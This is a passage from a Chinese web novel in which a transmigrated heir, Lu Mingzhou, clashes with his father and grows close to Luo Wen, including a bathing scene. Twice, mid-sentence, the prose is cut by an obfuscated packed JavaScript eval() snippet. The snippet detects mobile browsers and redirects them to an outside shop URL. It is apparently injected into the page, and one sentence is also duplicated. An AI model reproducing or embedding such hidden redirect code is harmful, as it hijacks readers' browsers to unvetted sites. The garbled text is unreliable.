他吐槽了一声后,到底是没继续和老管家杠着,双手插兜,迈着六亲不认的大步子,晃悠着着进了宅院。 一进门便是一声严厉的呵斥。 “你还知道回来,成天在外头惹是生非。”背对着陆明昼的中年人转过头来,怒视着陆明昼,眉毛是两道如浓墨重笔般画出来的,又密又黑,透着股不怒自威的凛然,样貌看起来清明又正直。 可就是这样看着刚正不阿的男人,逼得陆明昼的亲妈躺在浴缸里割腕自杀了。 他虚着眼,没正眼去瞧人,浑身透着一股吊儿郎当的模样,冷笑着问道:“不是你陆大老板叫我回来的么?怎么?不想见我,那行啊,我马上就走。” 陆父瞧见他这幅没脸没皮的样子看了就来气,呵斥道:“站住!你把柯家那小子打成什么样了,怎么没有半分的内疚?” 陆明昼的脚顶住地板,站直了身体,双眼直直地与他对视着。那双多情的桃花目此时看人时,又讥诮又凉薄:“内疚?你听个耳朵就替别人来质问我了?打他,是他活该,我问心无愧。” 他说着话,身上那股吊儿郎当的浮夸气顿时散了个一干二净,在旁人瞧来,在陆父的逼视之下竟然没有矮了一节,反倒能够分庭抗礼。 陆父被他义正言辞的话刺得头都快炸了,到底是多年的养气功夫还在,头上青筋直冒,却还是依旧维持着冷静的语气:“为了你学校里的小情人,和柯家那小子连兄弟都不做了?” 他皱着眉,那沉脸不悦的模样与陆明昼生气时的眉宇有几分相像:“你吃错什么药转性了?我怎么不知道我的儿子什么时候成了个情种。” 他算是陆明昼这个时候捡来的便宜爹,陆明昼对他的态度本来无视大过在意,但或许是平行世界,这便宜爹那副自以为是的模样和陆明昼的亲爹一模一样,叫他的内心止不住的生出烦躁和厌恶来。 “我不相信你这种老奸巨猾的人没看过监控,这事是他柯天宇犯贱,我下手重,那也是在替天行道。”陆明昼面无表情,语气淡淡,仿佛轻描淡写般。 陆父沉默良久:“我怎么没看出来你这么正义呢。” 陆明昼开口的话不留丝毫情面,甚至直接戳中了两人的心窝子:“良心发现了,哪能像你,做了道德败坏的事情还心安理得。当年的伤害难道会因为时间就不存在吗?” 陆明昼心狠,直接把父子间深埋内心的伤疤再度挖了出来,鲜血淋漓。 陆父愕然地望着他,须臾之间,怒气在他的脸上缓缓聚积。 下一秒,一个鲜红的巴掌印清脆响亮地落在了陆明昼的脸上。 10.怪异 巴掌猝不及防的落在脸上,陆明昼没挡住,也懒得去挡,不就是个巴掌,现在这便宜爹心里可比他还难受。 陆明昼将血腥气咽下,懒得和他再说。他的游戏计划已经过了他哥那边,班底马上就能搭起来,无所谓这老头能做什么。 难不成还能叫他去死?那倒算他厉害了。 他抹了抹唇角溢出来的几滴血,头也不回便要走。 “小昼!”他哥不知道什么时候风尘仆仆从宅院外走了进来,目光一顿,落在他脸上鲜红的巴掌印上,眼中生出愤怒和痛惜。 “疯了!”陆景山骂了一句,俊脸沉沉,看似平静的眸底闪烁着锐利的锋芒,气势逼人。 他又去回头看亲弟弟,那锋芒变化作柔情,抬手落在陆明昼的面颊上,想碰又不敢碰。 陆明昼避开了他的手,在他欲言又止的目光下抬腿就走:“哥,有空再聊,我先走了。” 陆景山拿他没办法,便问道:“马上就是你的生日,过几天还回来吗?” 陆明昼轻轻摸着脸,侧脸异常平静,他垂下眼:“不回了,没意思。” 陆景山看看他,终究是喟叹出声:“那好吧,到时候哥哥送你一份礼物。” 陆明昼点点头,陆景山目送着他离开,面上仅有的柔色消失不见,面无表情地瞧着自己的亲爹:“爸,你明知弟弟是什么性格,你越逼他,他只会更加反抗。” 陆景山抽出自己带来的游戏计划,叹气道:“你不是指望着他懂事吗?我觉得他现在做得很好。” 说着,把纸张递了过去。 陆父已经退出公司一线许久,但商业上的敏锐度还有所保留,翻过一张张纸,神情终于动容。 “你好好处理柯家那边的事情。”沉默良久,他才说道:“说到底,是柯家小儿子先动的手。” 陆景山微微颔首。 陆父语气一顿:“他的那个小情人……” 陆景山严肃的面容上浮现几缕淡淡的笑意:“算是个好的,和小昼在一起,暂时没什么不妥的。” 陆父叹气道:“和男人在一起像什么话,希望像你说的,他已经开始收心了。” 他偏过头去,望着陆景山:“你要是什么时候愿意成家了,我的烦恼也能少些。” 陆景山假装没听到,不再搭理老爷子,而是拿起手机拨打了一个电话。 *** 柯家和陆家交情向来不错,可两家关系并不平等,柯家是传统的美妆行业,如今随着互联网的发展,国外资本的涌入,逐渐是日薄西山。 而陆家房地产发家,财大气粗,自陆景山接手公司的这几年来,则向着新兴行业进发,互联网、影视甚至文化旅游都沾边,这些年发展下来俨然已经是一个规模庞大的商业集团。 自家人被陆家人打了,他们一开始是很生气,认为陆家太不把他们放在眼里,以小欺大。可等后来陆家的人拿着这几年来柯家的黑料,先兵后礼,他们便无话可说了,甚至除了柯天宇本人,其余的柯家人见了有利有图,都是欢天喜地的。 可以说是,整场事件下来,除了躺在病床上包成猪头的柯天宇,大家都收获了自己想要的。 甚至柯天宇的大哥还出声警告了自己的小弟,叫他近来安分些,不要想着再招惹陆明昼和他身边的人。 “你惹出火的事情,还要我给你擦屁股。接下来的日子给我老实呆在家里,别叫我在外头听到你柯少爷又出了什么风头” 柯天宇躺在床上,脸上被绷带包了一圈又一圈,险些认不出真身来,听了自家大哥的话心里是又急又气,一双眼睛险些喷出火来。 眼见着自家大哥无情离去,他愤愤地的锤了锤床板。 他无法无天许久了,打破脑袋也想不出自己为什么翻了车,而且还是因为从前和自己勾搭成双的狐朋狗友。 柯天宇他不甘心啊!这会儿是赔了夫人又折兵,不仅一顿揍白挨了,而且还被家里人臭骂一顿。 这传出去叫他还怎么在临城呼风唤雨?! 柯天宇的眼睛跳跃着愤恨的火苗,就在此时,一道黑影悄然进入了病房,躲在暗处里无声无息地望着他。 柯天宇若无所觉,手指艰难的打着字,联系着自己其他的狐朋狗友,迫不及待的想要出院。 *** 除了双手需要再养养,骆温身上的都是皮肉伤,看着触目惊心,这几天养下来大多已经结了痂,好的差不多了。 陆明昼还想劝他多住几天,等伤口彻底恢复再回去,骆温却皱眉拒绝了。 他已经请了好几天的假,再请下去,补起落下的课程就有些麻烦。 陆明昼知道他受老师看重,身上任务不轻,劝说了几下,见他依旧坚持也只好开车先送他回了学校。 他手还伤着,还不能淋水,这几天都是拿湿巾擦擦。陆明昼知道他爱干净,生怕他背着自己就偷偷做些违反医嘱的事情,前功尽弃,于是一遍替他打开车门,抬头对他说道:“晚上我来接你。” 骆温看看自己的手,再看看他,眉头轻抬后又落下,满是疑虑:“……我自己可以的。” 陆明昼却不容置疑,下巴一抬:“去吧。” 这时候是早晨,有学生已经开始在门口打卡跑操,人并不算少。陆明昼和骆温两个人都是身高腿长,气质各异的好相貌,站在一起便能无端引来众多目光,见投来的目光愈来愈多,骆温再看他一眼,只好沉默着往学校里走。 陆明昼这几日打着创业的理由,又有亲哥的背书,便有恃无恐地向学校申请了请假,准备忙自己的事情去了,并不准备继续呆在学校里。 说实在,陆少爷都毕业好几年了,当年在校成绩也算名列前茅,可让他再回到学校上课。他也觉得没什么一丝。 而骆温垂着眸,无视了其余人送来的各异目光,径自往前走着,想到陆明昼刚才的一举一动,不知怎么,心头却泛起了一股微甜。 “骆温,你终于回来了!”有人挡在了他的面前,骆温抬眼看去,认出是和自己关系还算友好的同级同学,便微微点头。 同学姓云,名黎明,是个长相英气的青年人,和骆温一样,受到老师的青眼,两人时常一起合作完成实验任务,久而久之也就熟悉了。 “你的实验数据我帮你处理好了。”云黎明凝视着骆温那张神色冷淡,却多情舒丽的脸,略带几分讨好说道。 骆温皱了皱眉头,却还是道了声谢。 他抗拒着云黎明的靠近,目光忍不住往不远处飘去。 云黎明的目光也随着他的目光探向那处、 陆明昼还站在那里,身影修长挺拔,一身简单干净的白衣黑裤,衬得他剑眉星眸,五官深峻,就是简简单单的站着不动,也成了一道赏心悦目的风景。 纵使对陆明昼印象不佳,他也不得不承认这纨绔子弟皮相是一等一的风流不凡。 他略有不平的收回视线,目光落在骆温的手上,眉头一动,神情中掠过一丝不悦和震惊:“你……的手怎么了?” 因为陆明昼的风评不好,云黎明不假思索就把他受伤的原因归咎到了对方的头上,他伸手想去抓住骆温的手腕,还没碰到就被骆温皱着眉头,退了一步躲过了。 云黎明有些尴尬,却还是执意问道:“是他吗?” “不是他。”骆温眉宇间露出不悦,下意识的维护陆明昼,冷冷道:“与你无关。” 云黎明不满地说道:“我又没说出陆明昼的名字,您那么急着否认做什么?” 骆温抬起眸,用一种奇怪的眼神看着他,心中已经满是烦躁和排斥:“我的事情,有必要向你交代吗?” 云黎明一时哽住,良久无言。 两人的僵持都落入了陆明昼的眼中,他抱着臂膀,闲闲地站在树下,本来还以为是骆温和同学闲聊,可眼瞅着骆温面露不悦,他也慢慢拧起了眉头。 “系统,你认识那家伙吗?”陆明昼问道。 系统飞在陆明昼的耳边:“我看看……咦,新的剧情解锁了。” 它猛地提高了声音:“这也是个不怀好意的家伙。” 系统把相关的剧情告知陆明昼。 在接风宴的剧情过后,骆温被原身折腾的进了医院,直至将近一个多星期才能去上课。期间他实验室的同学向他频频示好,想要追求骆温。 骆温自然是拒绝了,可这人追求不成便恼羞成怒,反倒在外头大肆造谣,说尽了骆温的坏话。 骂他人尽可妻,还故作清高。 骆温那时候在学校被原身所误,名声本来就不怎么样,这回更是跌到了谷底,彻底被原本欣赏他的老师边缘化,还受到了许多有心之人的窥伺与骚扰。 也为他的退学埋下了伏笔。 陆明昼眸中闪过冷意,眯起眼,正想抄起系统迎上去。 反正虱子多了不怕痒,论惹是生非和横行霸道,陆少爷还真没怕过谁。 他还没走近,就瞧见骆温面无表情的踹了一脚对方的膝盖,只听见扑通一声,云黎明便狼狈地跪在了地上,引得众多学生驻足惊呼。 陆明昼眼眸中的吃惊化作笑意,唇角些许上扬,眉眼间写满了得意。 系统拍打着身上的小翅膀,颇为无语:“又不是你出手,傻乐什么?” 陆明昼依旧笑着,片刻后才收敛了笑意,轻声道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188597|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是替他高兴。”看来,等所谓的剧情结束以后,骆温他自己也能过得很好。 看着骆温逐渐走远,陆明昼抄出手机,修长的手指快速在手机屏幕上翻飞。 “帅气死了,我的学长。”他点击发送,而后便看见骆温停住步子,动作缓慢地从衣服里取出手机。 陆明昼笑了起来,他看见了熹微晨光下,对方如初春积雪消融般展露的浅淡笑意。 *** 骆温关了手机,将他艰难地塞回衣服里,心跳比平日里的要快了些许,他维持着面上的冷意,强装镇静,好像这样就能控制住自己不住加快节奏的心脏。 片刻后,第一声上课铃开始响了起来,这条林荫小道开始陆续有学生抱着书本奔跑起来,骆温看着,也加快了脚步。 在最后一声铃声响起之前,骆温踩着点到了报告厅。 今天是一节公共课,允许感兴趣的人旁听,再加上上课的老师是临大出了名的宝藏林教授,因此一间容纳百人的报告厅,很快便挤满了人。 好在后排还剩下几个位置,骆温不至于站着四十来分钟听课。 落座后,骆温取出随身携带的眼镜戴上,然后翻开了笔记。 他的眼镜度数并不深,平日里并不带眼镜,只是离得远了,眼睛看黑板时便有些吃力。 戴上眼镜的骆温被镜框挡住了眼下两颗显眼的泪痣,少了分艳丽,多了几分温文尔雅的书卷气,但依旧叫人移不开眼睛。 旁边的人一直盯着他,目光奇异。 骆温眉心微蹙,眼中划过一抹不悦和阴霾,转头看着来人。 那是个面容干净又白嫩的漂亮青年,头发微卷,支着下巴,正笑意盈盈地望着骆温,眼底又含有几分探究之意。 骆温颇觉冒犯,蹙着眉头,声线冷淡而沉静:“同学,你有事吗?” 漂亮青年向他伸出手来,一字一顿,咬字间带着一股奇怪的韵律:“又见面了,骆温同学,我是向晨。” 骆温没有伸出手。 听见向晨这两个名字,他的大脑有一瞬间的茫然与停滞。 似乎这个名字,曾经在岁月的长河中一闪而过又很快隐没。 他的脑袋开始泛起一股刺痛来,总觉得这个名字后隐含着一段非常重要又极为痛苦的记忆。 可遍寻无果,反而骆温的头脑像被人插进铁丝在其中搅动,愈发痛苦起来。 他忍不住捂着额头,对方漂亮的脸蛋在他面前扭曲又模糊,竭力忍住鼓胀狂跳的痛楚,他语气不明地问道:“……向晨是谁?” 漂亮青年轻笑一声:“你不是换了寝室吗?我就是你的新室友。” 骆温压住鼓噪的太阳穴,对方的脸在这一刻又变为清晰,仿佛刚才发生的一切皆是错觉。 他定眸看了向晨片刻,神情淡淡地点了点头,随后低下眼,没有再与对方交谈的欲望。 约莫是察觉到了他的疏离,向晨没有继续再与他交谈,双手撑着下巴注视着黑板,一派认真的模样。 随着一声铃响,学生们四散着离开,骆温走在最后面,被林教授带去了办公室。 林教授是位头发蓬松,两鬓斑白的老年人,鼻梁上架着一副黑框黑镜,穿着一件半旧不新的夹克衫,看起来朴实又严谨。 骆温将林教授的教学用具轻轻放在桌面上,然后沉默地迎上了对方略有些失望的眼神。 “你……”老人自持清正,多年的良好修养也叫他问不出拿些和学生有关的风言风语,他只是微微叹息,目光落在骆温的包裹得严严实实的双手上:“看起来伤的不轻,这两天你少动仪器,好好修养吧。” 骆温生得一副七窍玲珑的好样貌,在日常中却是习惯性的沉默寡言。不过他事情做得漂亮,天资聪颖,再加上模样生得好,老人视其为关门弟子,本来难免偏爱几分,觉得他这行事作风是四平八稳,临危不乱。可如今见这弟子进来半天都闷声不响,也颇为无奈。 他索性眼不见心不烦,把人赶了出去。 “少和那些不三不四的人在一起。”他语重心长地说道,至于听不听,那就是骆温的事情了。 骆温心知他说的是谁,可这么些天看下来,他真不觉得那人是什么不着四六的人。 人言可畏,人言也并不可信,外头那些人不也是对他搬弄是非吗? 骆温垂着眸,说了声告辞便就离去,转身就去了图书馆。 等到骆温补完这几天的课程和剩下的作业,中午还高悬在天边的艳阳已经悄然落下,学校的道路两旁排排路灯亮起。 骆温捧着书和笔记,取出手机看了看,见没有任何动静后,心头赫然升起一丝失落。 11.亲密 骆温精致秀气的脸上满是冷淡,抱着书本一路回了宿舍,打开门,看见里面的人时不由得脚步一顿。 那人正是早上在课上和他搭话的向晨,只见他正坐在宿舍的的桌子上,偏过头来注视着骆温。 “怎么?看见是我有些失望?”向晨窥见他的情绪不佳,眼眸显露出好奇的神色,凑近了过去:“你想看见谁?” 他在舌尖咀嚼着那个名字,语气略有些暧昧的说道:“陆……明……昼吗?他是叫这个名字对吧?” 骆温眉头轻敛,眼中滑过一丝阴霾和不悦,他沉下俊脸,冷声道:“和你有关系吗?离我远点儿。” 向晨闻言淡淡一笑,双手向他摊开,作出一个无奈的表情:“好吧,不过有件事情,我必须提醒你一下。” 骆温没有搭理他。 向晨依旧笑着,只是笑意却不达眼底:“你清楚的吧?陆明昼他不是什么好人,你如果执意和他搅在一起的话……” 他压低了声音,语气幽幽,又透着股恶意:“会发生可怕的事情……说不定,你会死得很惨。” 骆温摔了手中的书本,怒视着他,脸上已经是结满了寒霜,冰冷得吓人:“你到底什么意思?” 向晨晃了晃腿,依旧坐在桌面上,居高临下的望着骆温,眼里的神情有些复杂,像是仇恨,又有些像是同情。 骆温觉得他的眼神让人非常不舒服,那种仿佛是提前洞悉了命运,便高高在上的模样…… 真叫人想把他的眼珠子挖出来。 骆温无端觉得有些烦躁,见对方一直看着自己,唇角一扯,便毫不避讳地直视过去。 而对方似乎是想起了什么,身体微微一颤,皱着眉头收回了视线,跳下了桌面。 骆温也再度恢复到那张淡漠,没有什么表情的面孔。 “嗡嗡……”放在书本上面的手机突然振动起来,骆温抬手去拿,看到那个熟悉的名字后,就按下了接通键。 “喂。”对方低沉醇厚的声音通过听筒传入耳膜,震得骆温的耳朵麻麻的。 “你刚才没看见我人吗?闷着头就往里冲。”对方的话语里携着几分疑惑和郁闷。 骆温:“……”他就没想到陆明昼会在宿舍楼下接他,因为……这通常是情侣之间才会做的事情。 他打开窗户,往外探出头去,果然见那长手长脚的大少爷正站在树下,朝着他挥手。 而他的身边是数各自占着地盘,搂搂抱抱,黏黏腻腻的男男女女……不,也有一对男性情侣。 那对男性情侣抱在一起,身体摇摇晃晃的,互啃至情到深处的时候,甚至后退了好几步,一脚踩到了大少爷的鞋子上。 “我真的受够了,你赶快下来!”陆明昼压着怒火给骆温发了条语音,耳边是偷笑不停的系统。 骆温在楼上注视着这一幕,冰冷的眉眼如冰雪般消融,逐渐柔和了许多。 向晨在一旁看似在忙着自己的事情,实则一直注意着他的一举一动。看着骆温的神情变化,他皱着眉头上前几步,透过窗户同样看到了正在楼下那个修长笔直的身影。 他忍了又忍,终究是忍不住又开了口:“我再次奉劝你别被一时的好处迷了眼睛,那位陆少爷真不是什么好人,你继续和他纠缠在一起,下场会很惨的。” 骆温面色转冷,还是那句话:“我的事情和你没有关系。” 他神色淡漠地下了楼,而陆明昼看着又搂搂抱抱,又往这边挤兑着自己的男性情侣憋屈许久。再挤过来,他只能站在树上了。 陆明昼被挤得站在了墙角,再看着自己洁白的运动鞋上,黑得清奇的鞋印,深邃的黑眸里窜起一簇火苗,青筋直跳:“你们这些基佬就不能低调点儿吗?!” 陆明昼完全没把自己算在其中,在和骆温睡过觉之前,他上辈子是个真真正正的异性恋,偏好女性。此时愤愤不平,倒一时忘了这件事情。 陆明昼完全没把自己算在其中,在和骆温睡过觉之前,他上辈子是个真真正正的异性恋,偏好女性。此时愤愤不平,倒一时忘了这件事情。 骆温刚好走出宿舍楼,听到他这句无差别开炮,回想起陆明昼几次在自己身上流连的目光,以及两人曾经做过再亲密不过的事情,良久无言。 他没有拆穿陆明昼,隔着些距离在陆明昼身前站定。 陆明昼却极为自然的去搂住他的腰,嘴巴上还要不满地咧咧:“离那么远做什么。” 那俩男男一开始还有些不好意思,可眼见着陆明昼仿佛再自然不过的摸上那俊俏青年的腰,一时便沉默下来了。 “谁叫好直男搂人腰的啊。”男生震惊地说道。 “是啊,谁家直男搂人腰的。”他的对象幽幽重复。 陆明昼一愣,随后搂着骆温狼狈而逃。 等他坐上车子,忍不住捂住了自己的脸,还抱有几分期待的询问系统:“作为来自外星的高科技,你应该知道的吧,上辈子我是个铁直男。” 系统幽幽地望着他,开启复读机模式:“谁家直男搂人腰的。” 陆明昼浑身一震,绞尽脑汁后竟然无法反驳。 他载着骆温回到了家,脑瓜子还在恍恍惚惚,坐在沙发上半天没回过神来。 见他扶着额头六神出窍的模样,骆温便没有打搅他,默默从自己的行李箱中抽出一套干净的衣服,进到了浴室当中。 前几天因为身上有伤,骆温只能忍住想要淋浴的想法,用湿毛巾艰难擦擦就算完成了……但到今天,洁癖发作的他无论如何都忍受不下去了。 拧开设备,干净清澈的水流便哗哗涌出。 骆温抬起那只恢复快些的右手,动作缓慢又艰难地对准了自己的肩胛位置。 温热的水流缓缓流淌过身体,鼻尖似乎还缠绕着那股浓烈又刺鼻的药香,骆温微微阖上了眼,掩去眸中的思量和困惑。 他和陆明昼之间始终是场不公平的交易,除了能够尽快医治好自己母亲的病外,骆温其实没想得到什么。 但是……现在似乎有些不一样。 不仅仅是对方与传闻中的霸道桀骜的性格不同,而且对方似乎对待自己也……有些出乎意料。 骆温眼中浮现茫然,双手轻轻擦过自己的面颊。 是因为这张在他人眼中还算过得去的皮相吗? 不知为什么,向晨之前的话莫名其妙的在这个时候回荡在脑海中。 骆温皱起眉,忽然有点儿没由来的烦躁,他低头注视着脚下哗啦哗啦的水流,目光直勾勾的。 “骆温,你人呢?”门外传来陆明昼的呼唤,很快浴室的门便被人敲响,对方压着怒气隐含担忧的声音从门外传来:“你的身体还没好,现在冲什么澡,等下伤口发炎了。” 骆温回过神来,那股烦乱之意在听见对方声音的同时似乎烟消云散。 他叹口气,低头看看自己几乎看不出伤口,白皙如新的身体,眉梢一压,觉得有些离谱:这样的程度也会发炎? 但他到底不是与人争辩的性格,默默打开了磨砂门,露出了半个湿漉漉的脑袋:“不会的。” 对上陆明昼满眼的担忧的俊脸,骆温慢慢吐出两个如同解释的字眼。 火急火燎的陆明昼:“……” 骆温的碎发被蒸腾的水汽打湿了一些,软软地耷拉在他的脑袋,他那张妍丽秀气的脸也因为浴室的温度浮现浅浅的红晕,解释的时候那双原本看人时充满冷意的眼睛此时清澈水润,配上他垂落至两侧的头发看起来又纯又乖。 看着竟比陆明昼还要小了几岁,也让他如同老妈子一样的长篇大论再也说不出口。 ……该死的,他怎么来这招?陆明昼自觉招架不住,也是从这一刻发现自己或许并没有想象中的笔直。 系统瞅着他,默默吐槽:“原来你终于发现了。” 陆明昼:“……”他无法昧着良心与系统争论什么,也觉得这样的做法太过幼稚,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202042|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是便自我遮掩似的轻咳一声。 “非要洗不成吗?”他拧着眉头,那张深邃的面孔上写满了不赞同。 骆温垂着眼,手里攥着淋浴头,水流哗啦啦的,不停地砸在脚面上,明明不怎么烫,却叫他不自觉蜷缩起了脚趾。 他心里头老大的不愿意,再不洗都能馊了,他面上不显半分,嘴里却慢吞吞地吐字:“脏,受不了。” 陆明昼心知这家伙是洁癖发作了,从平日里对方将自己的东西理得一丝不苟也可以看出对方这毛病。 陆明昼本想阻止,可看着面前的人湿了大半的上衣,以及眼中露出的执拗,叹了口气。这还能怎么办?洗就洗呗。 陆二少撸起袖子,推开浴室的门,跨步踏了进去。 “……你!”眼瞅着他贴上来的身体,骆温的眼里闪过一丝诧异,耳根也默默红了一大片。 陆二少也诧异的看他一眼,望了眼他那双依旧看起来有些吓人的双手,没好气的说道:“真叫你自己洗啊,等下又被人说我是虐待病人了。” 他意有所指。 骆温也想到了那个经常用鄙视目光望着陆明昼的小护士,唇角微微上翘,黑眸中染上了几分淡淡的笑意。 “脱掉衣服,”他指挥着骆温,明明是伺候人的工作,但放在大少爷嘴巴里却像是一件需要郑重其事的大事。 淋浴头喷涌而出的水汽和雾气氤氲了骆温羞涩的眉眼,明明不是第一次在陆明昼的面前脱去衣服,也不是如两人第一夜时,他所面临的困窘境地,可骆温还是觉得有些难为情。 他颤抖着乌黑卷翘的睫毛,明明羞赧至极,却依旧情不自禁用余光去看陆明昼的反应。 那双丹凤眼微微上挑着,失去了往日里的沉静与冷意,被眼下两颗淡淡的泪痣晕染着,看人时便愈发多了几分色气与妩媚。 他明明没有半分勾引对方的心思,但就是这种勾引而不自知的感觉,反而更加让人心神动荡。 ……这反派动人起来真的要命。陆明昼在心中倒吸了口凉气,心中默念,这是能够要人命的终极反派,要人命的,是反派!再看骆温时,已经心如止水,堪比在庙里敲了几十年木鱼的老和尚般清心寡欲。 他说:“把那双手放在我的肩膀。” 骆温的心脏在两人靠近时就越发紊乱,闻言下意识就将手环在了他的肩头。 陆明昼接过他手中的淋浴头,两人的鼻尖对鼻尖,贴的极紧,仿佛呼吸之间都要融为了一体。 陆明昼挤了点儿自己用惯的沐浴露,准备上手时,又有些犹豫:“我就帮你洗洗上半身,伤还没好,也不能冲太久。” 到了这一步,再拒绝就矫情了,说得过火一点儿,两人已经做过了再亲密不过的事情,对方的手曾再缠绵不过的抚过这具身体的许多地方。 骆温低垂着眉眼,长长的睫毛遮掩住眸中的神色,轻轻点头。 细密绵软的泡沫轻柔的滑过锁骨和肩胛,对方的动作轻柔而缓慢,像是生怕弄疼了他。 浴室里的气温芳香而温暖,骆温黑色的头发上沾了水,软软地搭在额头上,向下的面颊是两团浅薄的红晕。 他从未和人如此的贴近过,就算是亲生母亲也没有。 记忆中,骆温懂事得很早,刚识字的年纪就能收拾自己并且整理家务。 他的母亲似乎永远沉溺在和那个男人的爱情当中,成日里望着窗外发呆,等待着男人的到来。 那个男人能准时来了倒还好,如果没来,骆温是要被她揪住耳朵,狠狠地骂上一通的。 骆温不恨她,女人虽不好,可到底没有抛弃他,他只觉得悲哀,大约是只有用这种方式,才能发泄出她心中的不甘与怨恨。 骆温回忆着,直至垂眸对上眼前抱住自己的男人的眼,才感觉抓住了些许的真实感。 他默不作声的环紧了那双抱住男人的胳膊,隔着一层弄弄的水雾,忽然低声问道:“为什么对我那么好?” 12.凶案 隔着水声,陆明昼一开始听得并不清楚,随后他动作一顿,才意识到他口中说的是什么话,他低头看着怀中水淋淋,神情莫名仓皇的骆温,只觉得他一瞬间有些像是只无家可归的小动物。他用洗发精抹上对方早已经湿漉漉的头发,言语中有说不出的复杂和惊诧:“洗个澡而已,又不是多难的事。” 他想说,以后你还会变得更好。 在另一个世界你可是大名鼎鼎,备受尊敬的骆教授。 陆明昼顺手摸了摸对方的额头,有些半认真的嘱咐道:“别太容易被骗了,这才哪里到那里。” 骆温沉默地望着他,忽然很想问他:那你是在骗我吗? 但他知道这话不应该说出口,至少在两人没有结束协议的时候不应该说出口。 他清透漆黑的眸底,跳动着莫名的情绪,转而下移视线,落在了陆明昼的右脸上,略微蹙起眉头。 那是一个浅浅的巴掌印,没有认真观察很容易便被人忽视过去,再加上先前在车上光线昏暗,骆温根本没有看清。 他下意识的就伸出手去,想要触碰那道痕迹,但在快触碰到时,又迟疑地缩回了手指。 他的眼中闪动着自己都没有意识到的关切与涩然:“这个……怎么了?疼吗?” 浴室里没有镜子,陆明昼顺着他的手指摸到了自己的脸上,脸上露出了悟的神色,旋即便是浅浅的自嘲:“不疼,我皮糙肉厚的。” 许是察觉到骆温的静默不同寻常,他摸了摸脸上的巴掌印,有些痞气的笑着,语带宽慰:“真不疼,他一个老头子没什么力气。” 骆温不傻,知道这巴掌和自己有关,低声向他道歉:“……对不起。” 陆明昼皱了皱眉头,很奇怪,诧异于他怎么老是往自己身上揽责任,他凝眉,又展开。 一个吻轻轻落在了骆温的面颊上,却没有任何的情欲意味,更像是一种安抚。 陆明昼说道:“就当你心疼我,讨个心疼奖了。” “……”骆温一下子怔住了,耳根发烫,什么也没说,却不自觉地缠紧了搭在陆明昼脖子上的手。 他的头发和身体都被冲洗干净,陆明昼抬手取出架子上的大毛巾,搭在了骆温的头上。 他像对待一只刚刚被自己骗回家不久的小猫一样,生怕动静大点儿对方就会挣扎着缩到墙角,擦拭得动作轻得跟羽毛似的。 过了好一会儿,一个香喷喷又崭新的骆温才新鲜出炉,陆明昼想着自己也湿的差不多了,就准备脱去身上所有衣裤也洗洗。 骆温站在淋浴室的门边,被身上暖融融的感觉熏晕了,扶着磨砂门,一时恍恍惚惚,半晌找不到自己思绪。 陆明昼看他那副跟吸了薄荷的猫儿要醉倒似的模样,无语又好笑,索性好人做到底,把人打横抱到了床上。 “回神了。”他俯下身来,勾勾对方的鼻尖,骆温空茫的视线顿时直勾勾的对上陆明昼的,呆呆地嗯了一声。 这幅样子又呆又乖,全无青年平日里不染世尘的淡漠无情的模样。 陆明昼心痒痒的,怎么就这么呆萌呢?他伸出手,下意识的想去再捏捏对方看起来白皙微鼓的面颊。 “嗡嗡——”放在床头的手机突然开始响动,带着股主人不接电话至死不罢休的意味。 陆明昼皱着眉头,接起了电话,对面是先前被他不小心鸽了接风宴的朋友——童昊的声音。 “陆明昼,是兄弟就出来喝酒,我和邵子阳一起在这等你。” 陆明昼一看时间,已经将近八点,他皱着眉头,看着半眯着眼睛,欲睡不睡的骆温。 “不了吧,正准备洗澡,马上就要睡了。” 他觉得自己的理由没问题,对面却惊奇万分,眼珠子险些都要瞪出眼眶来。 “陆二少你没事吧?八点正是开启夜生活的美好时间,你丫一个纸醉金迷夜夜笙歌的家伙,这个点和我说你要睡觉了?简直是天方夜谭。” 对方惊异的声音简直能够穿透话筒,回荡在整个静谧的房间里,眼见着骆温双眼迷蒙,正不住地往自己这里看,陆明昼捂住听筒,颇有些咬牙切齿,却还是低声道:“我骗你有什么好处吗?” 对方知道他不吃强硬这一套,于是软下语气:“你看看你,上次放鸽子我就不说了,难道子阳休假,咱们仨能凑到一起去,这你还不过来找我俩,怎么也说不过去。” 童昊又轻声道:“还有,这不是眼瞅着明天就是你的生日了吗?你又不愿意在那天过,那兄弟俩就提前帮你过了。” 陆明昼沉默着,心里头还是生出了几分动容,看来无论是哪个世界,他这两位朋友的义气和真挚从未改变过。 他正颇为感动着,只听对方话锋一转,语气里带着些好奇:“还是说你身边温香软玉,舍不得离开家啊?那也没事,你把小嫂子一起带过来。” 话都说到了这份上,陆明昼实在也是没有拒绝的理由,他无奈一笑,也没有指正对方话里有关于骆温的称呼:“少打听这些,他睡了。你们先喝着,我马上就过去。” 骆温已经从睡意中醒了过来,偏着头,满眼困意的望着陆明昼:“……你要出门吗?” 临城夏日白天热得出奇,到了晚上没了阳光照耀,又有些发凉。 陆明昼换下上半身湿透的衣服,穿上了一件黑色衬衫,领口没扣纽扣,微微敞开着,配上那副那张轮廓分明的面孔,看起来高级又禁欲。 他点了点头:“朋友找我喝酒。” 骆温眼眸划过一丝晦涩不明的光芒,手指默不作声地攥住了身下的被褥。 